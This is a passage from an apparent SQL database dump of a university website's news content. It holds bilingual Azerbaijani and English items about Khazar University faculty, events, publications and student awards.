“Psixiyatriya Assistentləri və Mütəxəssisləri Dərnəyi” tərəfindən təşkil edilən “Psixodinamik Psixiyatriyanın əsasları” adlı təlimi almışdır.&nbsp;Klinik Psixologiya Doktorantura proqramında xüsusi tələbə olaraq Prof. Dr. Psk. Ferhunde Öktem tərəfindən aparılan “oyun terapiyası” təhsilini, 2003-cü ildə Ankara Üniversiteti Davamlı Təhsil Mərkəzi tərəfindən təşkil edilən “Ailə terapiyaları” təhsilini tamamlamışdır.&nbsp;</p><p style=\"text-align:justify\">1998-2004-cü illər arasında Türkiye Qrup Psixoterapiyaları Dərnəyinin Dr. Abdülkadir Özbek Psikodrama İnstitutu daxilində “Psikodramatik Sosyometrik Qrup Terapiyası” təhsilinin ilk mərhələsini uğurla başa vurdu. 2004-2005-ci illəri arasında Uşaq və Gənçlik Ruh Sağlığı Dərnəyinin idarəçiliyində fəaliyyət göstərdi, 2010-cu ildə körpə uşaqların ruh sağlığı komisiyasının üzvü olaraq Yrd. Doç. Dr. Koray Karabekiroğlu\'nun proyektində iştirak etdi və \"Türkiyənin Erkən Uşaqlıq Dönəmi (1-3 Yaş) Ruh Sağlığı Profilinin Müəyyən edilməsi\" tədqiqatı ilə Prof. Dr. MUALLA ÖZTÜRK UŞAQ RUH SAĞLIĞI MÜKAFATINA layiq görüldü. Hal-hazırda Hacəttəpə Universiteti Uşaq və Yeniyetmələr Ruhi Sağlığı şöbəsinin rəhbəridir. Peşə maraqları diqqət əksikliyi,&nbsp;hiperaktivlik, uşaqlıq və körpəlik dövrü psixopatologiyalarıdır.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p><strong>Prof.&nbsp;Dr. Frederick&nbsp;</strong><strong>P.Bemak</strong></p><p style=\"text-align:justify\"><img src=\"/files/psycho_depart/bemak.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;float:left\">1970-ci ildə Boston universiteti Psixologiya Bölümündən məzun oldu. 1971-75-ci ildə Massachusett universitetinin Psixoloji Konsultasiya sahəsi üzrə magistr və doktarantura təhsilini başa vurdu.&nbsp;1974-cü ildə Massachusettsdə təlimçi-psixoloq,&nbsp;1977-ci ildə Berkhire Kolecində,&nbsp;1978-81-ci illərdə Kambric Kollecində, 1982-1986-cı illərdə Antioch Universitetində, 1987-1989-cu illərdə Marian Kolecində,&nbsp;1982-1990 Massaçusetts universitetində, 1991-2000-ci illər ərzində Johns Hopkins universitetində müxtəlif vəzifələrdə işləmişdir.&nbsp;1997-2000 ci illərdə Ohio universitetində, 2008-ci ildə qonaq professor kimi Queensland (Avstraliya) universitetində, 2010-cu ildə Edinburgh universitetində, 2013-cü ildən bu yana George Mason Universitetində akademik fəaliyyətini davam etdirir. O, mədəniyyətlər arası psixoloji konsultasiya,&nbsp;qrup konsultasiyaları,&nbsp;qaçqın və məcburi köçkünləri zehni sağlamlığı və adadptasiyası mövzularında tədqiqatlar aparıb.Yeddi kitabda müxtəlif mövzularda tədqiqatlarını çap etdirib. Bemak çox mədəniyyətlilikdə sonrakı addımlar, Peşə Mükəmməliyinə səyahət, Psixoloqların həyatında Cəsarət, İnnovasiya və risk hekayələri, şiddət və aqressiv gənçlik,zamanı dəyişdirməyə müdaxilə strategiyaları,empatik terapiyanın xüsusiyyətləri kimi mövzularda müxtəlif kitablarda yazılar yazdı.&nbsp;55 ölkədə beynəlxalq təhsil və konsultasiya xidmətləri verir. https://cehd.gmu.edu/people/faculty/fbemak/</p>'),(4754,2814,'az','Mövzular','Mövzular',''),(4733,2807,'az','Xəzər Universitetinin işçiləri üçün vörkşop keçirildi','2018-ci ilin yanvarın 5-də layihə koordinatoru Rima Məmmədova Xəzər Universitetinin işçiləri üçün Erasmus...','<p>2018-ci ilin yanvarın 5-də layihə koordinatoru Rima Məmmədova Xəzər Universitetinin işçiləri üçün<strong><em> Erasmus+ KA2 layihələrinin büdcəsinin yazılması</em></strong> ilə bağlı vörkşop keçirdi. Vörkşopda əvvəlcə iştirakçılara büdcənin yazılması haqqında təqdimat edildi. Daha sonra isə iştirakçılar əvvəlcədən kompüterə yüklənmiş ERASMUS+ büdcəsinin Excel faylları üzərində praktiki olaraq işlədilər.</p>'),(4773,2825,'az','Yanvar','Yanvar','<div><div><div><div><div><div><div><div><div>31.01.2018 Montpellier Universiteti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1865430106800719\">FOTO</a>)</div></div><div>25.01.2018 English for Specific Purposes (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1857583584252038\">FOTO</a>)</div></div><div>17.01.2018 Happy Chinese New Year (Dunya school)&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1849577715052625\">FOTO</a>)</div><div>16.01.2018 Mədəniyyət fənnindən Yekun Konserti və Yekun Sərgisi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1848264228517307\">FOTO</a>)</div></div><div>16.01.2018&nbsp;Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1847254251951638\">FOTO</a>)</div><div>15.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1846449912032072\">FOTO</a>)</div></div><div>13.01.2018 Final imtahanları&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1846402598703470\">FOTO</a>)<br></div><div>12.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1843259832351080\">FOTO</a>)</div></div><div>12.01.2018 Azərbaycan Arxeologiyası jurnalı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1843212642355799\">FOTO</a>)</div></div><div><div>11.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1842246152452448\">FOTO</a>)</div></div><div><div>10.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1841280715882325\">FOTO</a>)</div></div><div>09.01.2018&nbsp;Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1840194832657580\">FOTO</a>)<br></div><div>09.01.2018&nbsp;Natella xanımın ad günü -&nbsp; qonaqlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1841021902574873\">FOTO</a>)</div><div><div>09.01.2018 Natella xanım: ad günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1839951676015229\">FOTO</a>)</div></div><div><div>08.01.2018 Final imtahanlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1839111102765953\">FOTO</a>)</div></div><div>06.01.2018 final imtahanlari (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1838811969462533\">FOTO</a>)</div></div><div><div>05.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1835420813134982\">FOTO</a>)</div></div><div>04.01.2018 Final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1834090136601383\">FOTO</a>)</div></div>03.01.2018 Multimediyada Yeni il (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1834023973274666\">FOTO</a>)'),(4771,2800,'en','2018','2018',''),(4755,2821,'az','İqtisadiyyat və menecment fakültəsinin əməkdaşının məqaləsi Thomson Reuters indeksli jurnalda','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun “Measuring International Migration...','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun “Measuring International Migration in Azerbaijan” adlı məqaləsi “Sustainability” jurnalının 2018-ci il 1-ci sayı, 10-cu buraxılışında çap edilmişdir. Sözü gedən jurnal Thomson Reuters (SSCI Impact Factor: 1.789) kimi nüfuzlu məlumat bazalarında indekslənir.&nbsp;</p><p>Məqaləni bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://www.mdpi.com/2071-1050/10/1/132\">http://www.mdpi.com/2071-1050/10/1/132</a>.</p>'),(4756,2821,'en','Research paper by School of Economics and Management Staff Member in Thomson Reuters Indexed Journal','The research paper “Measuring International Migration in Azerbaijan\" by Dr. Shahriyar Mukhtarov, vice dean...','<p>The research paper “Measuring International Migration in Azerbaijan\" by Dr. Shahriyar Mukhtarov, vice dean of the Faculty of Economics and Management at Khazar University, was published in Sustainability, No 1, Vol 10, 2018. The journal is indexed by Thomson Reuters (SSCI Impact Factor: 1.789), the prestigious abstract and citation database of peer-reviewed literature.</p><p>The study investigates influencing factors of international migration in Azerbaijan.</p>\r\n<p>The paper is available at:</p><p><a href=\"http://www.mdpi.com/2071-1050/10/1/132\">http://www.mdpi.com/2071-1050/10/1/132</a>.<br></p>'),(4757,2804,'en','Comparative information by Khazar University\'s ‘Kheber – News’ group on the university website news ','Comparative information by Khazar University\'s ‘Kheber – News’ group on the university...','<p><strong>Khazar University website: 2008 – 2017</strong></p><p><strong></strong>(<a href=\"http://www.khazar.org/\"><strong><em>www.khazar.org</em></strong></a>)</p><p>2008 – 97; 2009 – 149; 2010 – 274; 2011 – 357; 2012 – 476; 2013 – 535; 2014 – 610; 2015 – 700; 2016 – 547; 2017 – 702.</p><p>***</p><p><strong>Website of Hamlet Isakhanli, the founder of Khazar University and chairman of its Board of Directors and Trustees: 2009 – 2017  &nbsp;</strong></p><p><strong></strong>(<a href=\"http://www.hisaxanli.org/\"><strong><em>www.hisaxanli.org</em></strong></a>)</p><p>2009 – 81; 2010 – 125; 2011 – 162; 2012 – 144; 2013 – 156; 2014 – 159; 2015 – 146; 2016 – 158; 2017 – 126.</p>'),(6098,3477,'az','ŞKTR-nın Azərbaycandakı səfiri Xəzər Universitetinin qonağı oldu','2018-ci il oktyabrın 2-də Şimali Kipr Türk Respublikasının Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri xanım...','<p>2018-ci il oktyabrın 2-də Şimali Kipr Türk Respublikasının Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri xanım Ufuk Turgener Xəzər Universitetinin qonağı oldu.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı səfirlə görüşdü. Görüşdə təhsil əlaqələri və qarşılıqlı maraq doğuran digər məsələlər müzakirə olundu.</p>'),(6099,3477,'en','Ambassador of the Turkish Republic of Northern Cyprus visited Khazar University','On October 2, 2018, Ufuk Turgener, Extraordinary and Plenipotentiary Ambassador of the Turkish Republic of Northern Cyprus...','<p>On October 2, 2018, Ufuk Turgener, Extraordinary and Plenipotentiary Ambassador of the Turkish Republic of Northern Cyprus visited Khazar University. Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, had a meeting with the Ambassador. The meeting focused on educational ties and other issues of mutual interest.</p>'),(4758,2822,'az','Karyera Mərkəzinin əməkdaşı BAMF-ın prezidenti ilə görüşdü','2018-ci il yanvarın 10-da Xəzər Universitetinin Karyera Mərkəzinin meneceri Səbinə Allahverənova ilə Beynəlxalq Avrasiya Mətbuat Fondunun...','<p>2018-ci il yanvarın 10-da Xəzər Universitetinin Karyera Mərkəzinin meneceri Səbinə Allahverənova ilə Beynəlxalq Avrasiya Mətbuat Fondunun (BAMF) prezidenti Umud Mirzəyev görüşdülər.</p><p>Görüş zamanı, psixologiya ixtisası istisna olmaqla, Xəzər Universiteti Humanitar və sosial elmlər fakültəsində oxuyan tələbələrin təcrübə proqramı keçməsi barədə əməkdaşlıq müqaviləsi imzalandı.</p><p>Beynəlxalq Avrasiya Mətbuat Fondu müxtəlif ölkələrdən olan bir qrup jurnalistlər tərəfindən yaradılmaş müstəqil beynəlxalq qeyri-hökumət təşkilatıdır və 1992-ci ildə Azərbaycanda dövlət qeydiyyatına alınmışdır. BAMF BMT qurumları, Amerikanın Dövlət Departamenti, Avropa Komissiyası, Dünya Bankı, Beynəlxalq Mətbuat İnstitutu, Beynəlxalq Jurnalistlər Federasiyası, bir sıra xarici ölkələrin Azərbaycan Respublikasındakı səfirlikləri, nazirliklər, agentliklər, eləcə də, regiondakı yerli və beynəlxalq QHT-ları ilə əməkdaşlıq çərçivəsində fəaliyyət göstərir.</p>'),(6055,3455,'en','Dean of School of Education awarded Associate Professor Diploma','On September 27, 2018, the diploma awarding ceremony was held at Supreme Attestation Commission...','<p>On September 27, 2018, the diploma awarding ceremony was held at Supreme Attestation Commission under the President of the Republic of Azerbaijan. Elza Samadova, Dean of School of Education, PhD in Philology, was awarded an Associate Professor diploma.</p><p>The relevant decision was made at the board meeting of the Supreme Attestation Commission on May 11, 2018.</p>'),(4775,2837,'az','Kimya departamentinin müəllimi beynəlxalq mükafata layiq görüldü','Xəzər Universiteti Kimya departamentinin müəllimi Dr. Cestin Mandumpal Birləşmiş Krallığın Kral Kimya Cəmiyyətinin “Chartered Chemist status (CChem)” mükafatına layiq görülmüşdür...','<p><img src=\"/files/letters/20180111_172636.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:227px;margin-right:7px;margin-bottom:7px\">Xəzər Universiteti Kimya departamentinin müəllimi Dr. Cestin Mandumpal Birləşmiş Krallığın Kral Kimya Cəmiyyətinin “Chartered Chemist status (CChem)” mükafatına layiq görülmüşdür. Dr. Mandumpal on il təşkilatın (Kimya elmlərinin ictimai təşviqatı platforması) üzvü olmuşdur.</p><p>“Chartered Status (CChem)” mükafatı kimya elmləri sahəsində bilik və peşəkarlığına görə praktik kimya ilə məşğul olan alimlərə verilir.</p><p>“CChem” mükafatı kimya elmlərində peşəkarlığı, mövcud biliklərin artırılması istiqamətində göstərilən qətiyyəti, alimlərin fəaliyyət göstərdiyi təşkilatın uğurlarına verdiyi tövhələri, eləcə də peşəkar dürüstlüyü və elmdə mükəmməlliyin artırılması cəhdlərini təqdir edən mükafatdır.</p><p>Dr. Mandumpal hazırda Materialların dizaynı və optimallaşdırılması üçün hesablama laboratoriyasına rəhbərlik edir.</p>'),(4776,2838,'en','Meeting was held within the framework of AESOP Erasmus+ Project','On January 12, 2018, a meeting was held at Khazar University within the framework of “Advocacy Establishment for Students through Ombudsman...','<p>On January 12, 2018, a meeting was held at Khazar University within the framework of “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ project. The purpose of the meeting was to discuss the Charter of the Ombudsman Office which will be established within the AESOP project.</p><p>Dr. Hassan Niknafs, Rector of Khazar University, Mahammad Nuriyev, Vice Rector for Academic Affairs, Isakhan Isakhanli, Vice Rector for Administration and Student Affairs, Rima Mammadova, AESOP project manager, Eynur Mehdiyev, Vice Chair of the English Language and Literature Department and Lamiya Namazova, Head of Admission and Information Office participated in the meeting.</p>'),(4777,2838,'az','AESOP Erasmus+ layihəsi çərçivəsində Xəzər Universitetində görüş keçirildi','2018-ci il yanvarın 12-də Xəzər Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması”...','<p>2018-ci il yanvarın 12-də Xəzər Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“Advocacy Establishment for Students through Ombudsman Position” – AESOP) layihəsi çərçivəsində görüş keçirildi. Görüşün əsas məqsədi AESOP layihəsi çərçivəsində yaradılacaq ombudsman ofisinin nizamnaməsini müzakirə etməkdən ibarət idi.</p><p>Görüşdə Xəzər Universitetinin rektoru Hassan Niknafs, Tədris işlər üzrə prorektor Məhəmməd Nuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, AESOP layihəsinin rəhbəri Rima Məmmədova, İngilis dili və ədəbiyyatı kafedrasının müdir müavini Eynur Mehdiyev və Qəbul və tələbə şöbəsinin müdiri Lamiyə Namazova iştirak etdilər.</p>'),(4779,2842,'az','Xəzər Universitetinin keçmiş tələbəsi müsahibə verdi','2018-ci il yanvarın 12-də “Şərq” qəzeti telekanallardan birində keçirilən şeir müsabiqəsinin iştirakçısı, Xəzər Universitetinin keçmiş tələbəsi Oğuz...','<p>2018-ci il yanvarın 12-də “Şərq” qəzeti telekanallardan birində keçirilən şeir müsabiqəsinin iştirakçısı, Xəzər Universitetinin keçmiş tələbəsi Oğuz Ayvazdan müsahibə almışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.sherg.az/site/id-41755/_”Şeirim_oxucumu_intihardan_xilas_etdi”\">http://www.sherg.az/site/id-41755/_”Şeirim_oxucumu_intihardan_xilas_etdi”</a>.</p>'),(4782,2845,'az','“Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin iclası','2018-ci il yanvarın 12-də Xəzər Universitetinin Tarix və arxeologiya departamentində “Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin iclası keçirildi...','<p>2018-ci il yanvarın 12-də Xəzər Universitetinin Tarix və arxeologiya departamentində “Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin iclası keçirildi. İclasda “Azərbaycan arxeologiyası” jurnalının 2018-ci il 1-ci sayının xüsusi buraxılışı üçün hazırlanan məqalələrin keyfiyyəti haqqında ətraflı müzakirələr olundu. Jurnalın daxilində aparılacaq yeniliklər müəyyənləşdirildi. İclasda “Azərbaycan arxeologiyası” jurnalının baş redaktoru tarix üzrə elmlər doktoru, professor Qüdrət İsmayılzadə, AMEA-nın Arxeologiya və Etnoqrafiya İnstitutunun şöbə müdiri t.ü.f.d Fərhad Quliyev, Tarix və arxeologiya departamentinin müdiri Roza Arazova, departamentin müəllimi Orxan Zamanov və assistenti Akifə Cəfərli iştirak etdilər.</p>'),(4783,2843,'en','An article by Head of the department of “Khazar” published','An article “Sardar Farajov\'s piano miniatures” by Associate professor Zulfiyya Sadigova, Honored instructor, pianist, Head of the Department...','<p>An article “Sardar Farajov\'s piano miniatures” by Associate professor Zulfiyya Sadigova, Honored instructor, pianist, Head of the Department of Music and Fine Arts of Khazar University, was published in the 3<sup>rd</sup> number, 2017, of “Musigi dunyasi” journal.</p><p>The article deals with a virtuoso performance in piano miniatures of the prominent composer.</p>'),(4784,2841,'en','“Elm TV” channel broadcast an event held at Khazar University','“Elm TV” channel of Azerbaijan National Academy of Sciences prepared a video report on December 3, 2017 that broadcast the event at Khazar University organized...','<p>“Elm TV” channel of Azerbaijan National Academy of Sciences prepared a video report on December 3, 2017 that broadcast the event at Khazar University organized on joint initiatives of Psychological Service Centre of Khazar University, Centre for the Students with Disabilities, International Society for People with Disability, and “Alillar” newspaper.</p><p>A link for the video report:</p><p><a href=\"https://www.youtube.com/watch?v=NF8ZtEOx6Jk&amp;feature=share\">https://www.youtube.com/watch?v=NF8ZtEOx6Jk&amp;feature=share</a>.<br></p>'),(4785,2842,'en','An interview of Khazar University student','“Sharg” newspaper had an interview on January 12, 2018, with Oghuz Ayvazov, a former student of Khazar University, who took part in a poem competition...','<p>“Sharg” newspaper had an interview on January 12, 2018, with Oghuz Ayvazov, a former student of Khazar University, who took part in a poem competition held on one of the TV channels.</p><p>A link of the interview:</p><p><a href=\"http://www.sherg.az/site/id-41755/_%E2%80%9D%C5%9Eeirim_oxucumu_intihardan_xilas_etdi%E2%80%9D\">http://www.sherg.az/site/id-41755/_”Şeirim_oxucumu_intihardan_xilas_etdi”</a>.  </p>'),(6066,3461,'az','Xəzər Universitetinin müəlliminin elmi məqaləsi çap olunmuşdur','AMEA N.Gəncəvi adına Ədəbiyyat İnstitutunun nəşri “Ədəbiyyat məcmuəsi”nin son sayında Xəzər Universiteti...','<p>AMEA N.Gəncəvi adına Ədəbiyyat İnstitutunun nəşri “Ədəbiyyat məcmuəsi”nin son sayında (2018-ci il, XXXII cild) Xəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “<em>Müasir Azərbaycan poeziyasında bütöv Azərbaycan ideyası</em>” adlı məqaləsi (179-188-ci səhifələr) çap olunmuşdur. Məqalədə 1813-cü və 1828-ci illərdə Azərbaycanın Cənuba və Şimala bölünməsi ilə əlaqədar yaşanan ümumxalq faciəsinin müasir poeziyamızda ifadəsindən –M.Araz, S.Tahir, M.İsmayıl kimi şairlərin bu mövzunu yaradıcılıqları boyu daim gündəmdə saxlamasından danışılır. Qeyd olunur ki, Cənub mövzusu Azərbaycanın vətəndaş lirikasında əsas motivlərdən biri olmaqla, poeziyamızın avanqardı olan həmin şairlərimizin yaradıcılığında başlıca yer tutur.</p>'),(4788,2844,'en','University staff visited Shaki and Gakh','Fuat Rasulov, Coordinator of the working group on prospective students of Khazar University, Alovsat Amirbayli, director for Public Relations and Media, and Goshgar...','<p>Fuat Rasulov, Coordinator of the working group on prospective students of Khazar University, Alovsat Amirbayli, director for Public Relations and Media, and Goshgar Maharramov, Coordinator of the Department of Education, has paid a visit to Shaki and Gakh. During the visit, the university representatives held meetings with students of secondary schools and preparation courses as well parents and teachers. Moreover, the representatives gave full information about Khazar University, presented a promotion video of Khazar University and answered the questions by participants. It was decided that university administration should meet students, parents and teachers in Shaki and Gakh next year.</p>'),(4789,2845,'en','Meeting of Editorial Staff of “Azerbaijani Archeology” Journal','Meeting of editorial staff of “Azerbaijani Archeology” journal was held on January 12, 2018, at the Department of History and Archeology...','<p>Meeting of editorial staff of “Azerbaijani Archeology” journal was held on January 12, 2018, at the Department of History and Archeology of Khazar University. There was considerable discussion of the quality of articles to be published in the special issue of the first number, 2018, of “Azerbaijani Archeology” journal. Also, the staff determined innovations within the journal. Prof. Gudrat Ismayilzadeh, Doctor of Science in History, editor-in-chief of “Azerbaijani Archeology” journal, Farhad Guliyev, PhD in History, Head of the Department of Institute of Archeology and Ethnography and Roza Azarzova, Head of the Department of History and Archeology, as well as Orkhan Zamanov, a lecturer of the department and Akifa Jafarli, the assistant&nbsp;participated in the meeting.</p>'),(5122,2980,'az','Sillabuslar 2018_Yaz','Sillabuslar 2018_Yaz',''),(5123,2980,'en','Syllabus 2018_Spring','Syllabus 2018_Spring',''),(5243,3040,'az','Avstriya bfi Vyana Tətbiqi Elmlər Universitetində PETRA təlimi','2018-ci il martın 5-dən 9-dək PETRA layihəsi çərçivəsində Avstriya bfi Vyana Tətbiqi Elmlər Universitetində...','<p>2018-ci il martın 5-dən 9-dək PETRA layihəsi çərçivəsində Avstriya bfi Vyana Tətbiqi Elmlər Universitetində üçüncü təlim keçirildi. PETRA Avropa Birliyinin Erasmus+ Proqramı ilə birgə yaradılmış “Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi” layihəsidir. Xəzər Universitetinin beş nümayəndəsi –&nbsp;universitetin Elmi işlər üzrə prorektoru dosent İradə Xəlilova, Təhsil fakültəsinin dekanı Dr.&nbsp;Elza Səmədova, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, İnkişaf Mərkəzinin direktoru Raziyə İsayeva və Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimova təlimdə iştirak edirdilər.</p><p>Elmi tədqiqatların təkmilləşdirilməsinə (WP5) həsr edilən təlim bir sıra mövzuları əhatə edirdi. Təlimin birinci günü İradə Xəlilova “Azərbaycanda elmi tədqiqatlar və inkişaf” mövzusunda təqdimatla çıxış etdi. Daha sonra Dr. Dietmar Paier “Avstriyada Tədqiqat və İnkişaf (R&amp;D)” haqqında təqdimat etdi. 5 günlük intensiv təlim proqramı Avstriyada tədqiqatın maliyyələşdirilməsi, AB-nin Horizon-2020 layihəsində iştirak, layihələrin idarə edilməsi, keyfiyyətin idarə edilməsi, universitetlərin beynəlmiləlləşməsi kimi mövzuları əhatə edirdi. Təlimin son iki günü Azərbaycanda tədqiqat və inkişaf (R&amp;D) imkanlarının artırılması və universitetlər daxilində layihələrin icra olunması mövzusunda seminarlar keçirildi. Universitetin nümayəndələri təlimdə fəal iştirak edərək, müxtəlif ideyalar üzrə təqdimatlar keçirdilər.</p>'),(4848,2607,'en','Vurghun Ayyub talked about his chief','Publika.az posted column under headline “I want to praise my chief…” by Karamat Boyukchol, November...','<p><strong><em>Publika.az</em></strong> posted column under headline “I want to praise my chief…” by Karamat Boyukchol, November 2, 2017. The writing was based on ideas by Vurghun Ayyub, Head of Department of the Azerbaijan Language and Literature, about Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>A link for the column:</p><p><a href=\"http://publika.az/news/koshe/219353.html\">http://publika.az/news/koshe/219353.html</a>.<br></p>'),(4849,2628,'en','A seminar on struggle against cancer was held at Khazar University','A seminar was held on November 10, 2017, with organisational support of PhD and Master’s Association of Khazar University...','<p>A seminar was held on November 10, 2017, with organisational support of PhD and Master’s Association of Khazar University. Within the seminar, Dr. Kamal Asgarov, a researcher of Besancon University hospital of France, made a presentation on treatment methods of cancer. He talked about specific monoclonal antibodies, their effect and methods of application to treatment against cancer. Lecturers, young researchers and students of the university participated in the seminar. Discussions contributed special interest to the seminar.</p>'),(5233,3035,'az','Xəzər Universitetində “Novruz” şənliyi','2018-ci il martın 16-sı, saat 18:00-da Xəzər Universiteti Doktorantura və Magistratura...','<p>2018-ci il martın 16-sı, saat 18:00-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyi universitetin yeməkxanasında “Novruz” şənliyi keçirəcək. Novruz bayramını elm adamları ilə qarşılamaq, elmi fikir mübadiləsi etmək, yeni ünsiyyətlər qurmaq və novruz təamlarından dadmaq istəyən bütün doktorantura və magistratura tələbələri şənliyimizə dəvət olunurlar.</p>'),(5234,3035,'en','“Novruz” party at Khazar University','PhD and Master’s Students Union of Khazar University will organize “Novruz” party...','<p>PhD and Master’s Students Union of Khazar University will organize “Novruz” party at the university canteen at 18:00, March 16, 2018. All PhD and Master’s students, who want to welcome Novruz with scientists, have exchange of views, and taste Novruz sweets, are invited to the party.</p>'),(5235,3036,'az','“Payız çempionatı” başa çatdı','2018-ci il martın 11-də Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə tələbələr...','<p>2018-ci il martın 11-də Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə tələbələr arasında keçirilən futbol üzrə “Payız çempionatı” yekunlaşdı. Çempionatda 9 komanda iştirak edirdi. Qrup mərhələsinə püşkatma yolu ilə seçilmiş komandalar 3 qrupda mübarizə aparırdılar.</p><p>Gərgin mübarizə şəraitində keçən turnirin final mərhələsinə 2 komanda – “Shark” və “10-lar” komandaları vəsiqə qazandılar. Final görüşündə 4-2 hesabı ilə qalib gələn “10-lar” komandası turnirin qalibi oldu.</p>'),(5236,3036,'en','“Autumn Championship” is over','“Autumn Championship” in football, organized for students by Khazar University...','<p>“Autumn Championship” in football, organized for students by Khazar University Student Assembly, ended on March 11, 2018. 9 teams participated in the championship. Teams, selected through draw in grouping stage, competed in 3 groups.</p><p>2 teams, “Shark” and “10-lar”, entered into final stage of tournament which was intensely competitive. “10-lar”, which won the final match with 4-2 score, became a winner of the tournament.</p>'),(5237,3037,'az','Mühəndislik və tətbiqi elmlər fakültəsinin dekanı birinci il tələbələri ilə görüşdü','2018-ci il martın 13-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin birinci...','<p>2018-ci il martın 13-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin birinci il tələbələri ilə fakültənin&nbsp;dekanı Dr.Hassan Niknafsın görüşü keçirildi. Görüş tələbələrin 2017-ci il Payız semestrinin yekun nəticələrinə həsr edilmişdi. Əvvəlcə, Dr.Hassan Niknafs tələbələri Payız semestrində əldə etdikləri nəticələrə görə təbrik etdi və onlara 2018-ci ilin Yaz semestrində də yüksək nəticələrlə davam etmələrini arzu etdi. Sonra semestrin yekun nəticələrinə əsasən Mühəndislik və tətbiqi elmlər fakültəsinin birinci il tələbələri arasında birinci, ikinci və üçüncü nəticə göstərmiş –&nbsp;Sona Əzizovaya (Kompüter elmləri –&nbsp;GPA 97,6), Elnur Vəlixanlıya (Kompüter elmləri –&nbsp;GPA 95,44), Ziya Məmmədova (Kompüter mühəndisliyi –&nbsp;GPA 94,38) sertifikat və hədiyyələr təqdim edildi.</p><p>Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavinləri Fəxrəndə Əlimərdanova, Vəfa Aslanova və dekan assistenti Pərvanə Əbdürəhimli də görüşdə iştirak edirdilər.</p>'),(5238,3037,'en','The Acting Dean of School of Engineering and Applied Sciences meets with first year students ','Dr. Hassan Niknafs, the Acting Dean of School of Engineering and Applied Sciences, met with first...','<p>Dr. Hassan Niknafs, the Acting Dean of School of Engineering and Applied Sciences, met with first year students on March 13, 2018. The meeting was dedicated to the results of Fall semester of 2017. Firstly, Dr. Hassan Niknafs congratulated students of&nbsp;School of Engineering and Applied Sciences  for their achievements in Fall semester, and wished them success in Spring semester of 2018. Then Sona Azizova (Computer Sciences - GPA 97,6), Elnur Valikhanli (Computer Sciences - GPA 95,44), and Ziya Mammadov (Computer Sciences - GPA 94,38), first year students of School of Engineering and Applied Sciences, who deserved first, second and third places for academic achievements respectively, were presented with certificates and presents.</p><p>Fakhranda Alimardanova and Vafa Aslanova, Vice-deans of School of Engineering and Applied Sciences, and Parvana Abdurahimli, Dean Assistant, also participated at the meeting.</p>'),(5239,3038,'az','“Tərcümə sahəsində karyera” ilə bağlı dəyirmi masa müzakirəsi','2018-ci il martın 13-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə...','<p>2018-ci il martın 13-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Tərcümə sahəsində 